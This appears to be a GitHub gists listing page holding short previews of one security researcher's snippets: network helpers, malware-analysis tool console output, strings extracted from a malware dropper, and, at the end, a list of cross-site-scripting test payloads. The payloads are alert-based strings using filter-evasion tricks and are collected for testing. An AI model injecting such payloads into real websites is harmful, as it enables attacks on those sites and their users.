deadbits’s gists

deadbits / iprange.py

Created February 25, 2012 03:14

new get local IP and range

	#!/usr/bin/python
	from scapy.all import *

	localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]

	splitIP = localIP.split('.')
	splitIP[3:] = (['0/24'])
	IPRange = ".".join(splitIP)

	print IPRange

deadbits / gist:2069269

Created March 18, 2012 05:58 — forked from codian/gist:2069206

current git branch name on prompt

export PS1="\[\033[34m\]\w\[\033[35m\]\`ruby -e \"print (%x{git branch 2> /dev/null}.split(/\n/).grep(/^\*/).first || '').gsub(/^\* (.+)$/, '(\1)')\"\`\[\033[00m\]> "

deadbits / marshal2.py

Created April 12, 2012 22:30

and again...

	import marshal

	script = """
	print 'hello'
	"""

	code = compile(script, "<script>", "exec")

	data = marshal.dumps(code)

deadbits / multi.py

Created April 13, 2012 02:44

Multiple connections

	import os,sys
	import socket
	import time

	HOST = ''
	PORT = 4444
	activePID = []

	conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	conn.bind((HOST, PORT))

deadbits / filequeue.rb

Created November 14, 2012 00:04

traverse and populate

	# part of the MinusOne project.
	# methods from minus/lib/environment.rb
	# traverse a given directory tree to determine
	# if a path is a file or a directory.
	# if the file extension of any file matches the
	# specified language, add that file to the scan queue.

	def determine_extension
	puts "[~] determining file extension..."
	case $options[:language].downcase

deadbits / dropper_strings.txt

Created November 23, 2012 04:27

malware strings with (most) junk removed

GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.htmlGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.htmlGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.htmlGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.htmlGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.htmlGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.htmlGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.aspGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&

deadbits / session_demo.txt

Created December 16, 2012 02:54

ArcReactor sessions~!!

	# This is a preview of an ArcReactor interactive console session. I used the 'launch' utility to start an interactive
	# session, configured some settings to setup some manual collections, launch some modules and then later on i check on the
	# status of those tasks.
	# Any thoughts or comments? Remember this is just a quick preview of a small aspect.


	adam [/opt/arcreactor] » ./launch --interactive --debug
	[*] core - checking for background sessions
	[~] core - initializing new session
	[~] core - loading configuration files

deadbits / gist:4404718

Created December 29, 2012 05:10 — forked from zoek1/gist:4404619

	# codigo tomado de:
	# http://preshing.com/20110926/high-resolution-mandelbrot-in-obfuscated-python
	# ajusta el tamaño en la linea doce.

	_ = (
	255,
	lambda
	V ,B,c
	:c and Y(V*V+B,B, c
	-1)if(abs(V)<6)else

deadbits / gist:4653142

Created January 28, 2013 04:47

example of using maz console to analyze and storage sample. ascii strings with offsets are also stored but not displayed back to you in the console because they would take up a lot of space. i need a way to make the AV results prettier too.

	ams [~/Git/maz/bin] - [master] » ./console.rb

	Malware Analysis Zoo ::: interactive console
	https://github.com/ohdae/maz - MAZ (c) 2013
	type 'help' to view all available commands.

	maz >> analyze /home/ams/maz/storage/samples/sample3.exe
	[*] starting analysis of sample: /home/ams/maz/storage/samples/sample3.exe
	[-] sample copied to storage directory: /home/ams/maz/samples/sample3_a1bbf8ab970131055d0f3c95001c9409/
	[*] submitting to database ...

deadbits / xss_all.txt

Last active December 12, 2015 08:49

XSS list from http://travis-ci.org/thesp0nge/cross

	Useful XSS techniques taken from the Cross project by thesp0nge @ http://travis-ci.org/thesp0nge/cross

	"<script>alert('pwned!');</script>",
	"/--><script>alert('pwned!');</script>",
	"/--></ScRiPt><ScRiPt>alert('pwned!');</ScRiPt>",
	"//;-->alert('pwned!');",
	"\"//;\nalert('pwned!');",
	"<script/anyjunk>alert('pwned!')</script>",
	"<<script>alert('pwned!');//<</script>",
	"<img onerror=alert('pwned!') src=a>",

Adam Swanda deadbits